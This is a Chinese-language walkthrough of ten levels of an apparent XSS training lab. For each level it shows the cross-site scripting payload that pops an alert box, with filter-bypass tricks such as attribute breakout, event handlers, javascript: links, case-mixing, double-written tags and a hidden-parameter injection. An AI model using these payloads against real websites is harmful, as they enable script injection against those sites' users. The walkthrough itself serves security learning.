第一关
第一关是最简单的,什么限制都没有,直接上最普通的xss代码实现弹窗
<script>alert(‘xss’)</script>
payload
<script>alert('xss')</script>
第二关
直接输入第一关的代码,没有弹窗,F12看一下代码,尝试进行闭合
下面是包含我们之前输入的内容的代码
<input name="keyword" value="<script>alert(/xss/)</script>">
如果我们在输入的代码前加上 "> 上面的代码就变成了:
<input name="keyword" value=""> <script>alert(/xss/)</script>">
input标签被闭合了,后面构造的弹窗代码将会被执行
payload
"><script>alert(/xss/)</script>
第三关
再次输入第二关的payload,发现没有用,可能是双引号被过滤了,失去了作用
看wp都是用了onmouseover进行构造利用,先了解一下这个语法
输入
xx' onmouseover='alert(/x/)
查看构造后的代码
<input name="keyword" value="xx" onmouseover="alert(/x/)">
输入的是单引号,到了代码中成了双引号,应该是基于某种规则。先是闭合了输入的参数value,然后添加了onmouseover时间,当鼠标移动到搜索框上时触发弹窗。
鼠标移动到搜索框上:
payload
xx' onmouseover='alert(/x/)
第四关
将第三关的payload中的单引号改为双引号即可
payload
xx" onmouseover="alert(/x/)
第五关
尝试上一关的payload,发现on被转义为o_n,说明这个方法不能用了
直接看wp,使用伪链接方式假造一个超链接尝试(新姿势,学到了):
"> <a href="javascript:alert('test')">link</a>
点击link,弹窗
payload
"> <a href="javascript:alert('test')">link</a>
第六关
先尝试一下
发现我输入的script被转成了scr_ipt
尝试大小写绕过
payload
111"><SCRIPT>alert(1)</SCRIPT>
第七关
还是先测试一下
发现script直接给我整没了,那就双写进行绕过
payload
111"><scrscriptipt>alert(1)</scrscriptipt>
第八关
还是先测试
发现代码出现在a标签里,而且script被转义了
因为题目中的链接可以点击,我们尝试直接写入js的弹窗代码,发现里面的script被转义了
用Unicode进行编码,javascript:alert(1),添加后,查看代码发现并没有被转义
点击友情链接,成功弹窗
payload
javascript:alert(1)
第九关
还是友情链接,那就用第八关的代码进行测试,然后看到链接不合法,那什么是合法的链接?给加上http://试试
在Unicode后面加上//http://,前面的双斜杠表示注释
看样子是合法了,只不过被//给注释掉了,嘿嘿
payload
javascript:alert(1)//http://
第十关
第十关发现没有输入框,但我们知道,输入框只是让用户输入参数的一种方式,没有输入框我们也可以进行传参,先看看源码,需要我们输入什么参数
发现了三个参数,我们都传一个值试试
/level10.php?t_link=1&t_history=2&t_sort=3
再次查看代码,发现t_sort参数的值已经传入了
然后我们为t_sort参数构造xss代码
发现><都被过滤了,要用没有><的代码
看wp,使用了" οnclick=“alert(1)” type=""
构造出了一个输入框,点击输入框即可弹窗
点击输入框,弹窗
payload
" onclick="alert(1)" type=""